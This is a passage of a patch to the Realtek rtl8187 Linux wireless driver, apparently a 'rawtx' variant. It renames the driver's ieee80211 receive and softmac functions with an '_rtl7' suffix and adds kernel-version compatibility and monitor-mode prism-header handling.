KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac.c 2006-06-18 21:27:33.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-08-12 13:11:32.000000000 -0400 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; 